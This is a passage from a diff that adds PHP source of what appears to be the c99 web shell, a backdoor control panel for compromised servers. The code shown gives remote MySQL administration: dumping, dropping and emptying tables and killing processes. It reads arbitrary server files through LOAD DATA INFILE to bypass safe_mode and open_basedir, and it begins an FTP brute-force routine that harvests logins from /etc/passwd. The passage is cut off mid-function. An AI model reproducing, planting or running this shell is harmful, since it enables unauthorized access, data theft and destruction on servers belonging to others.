href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b></b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = 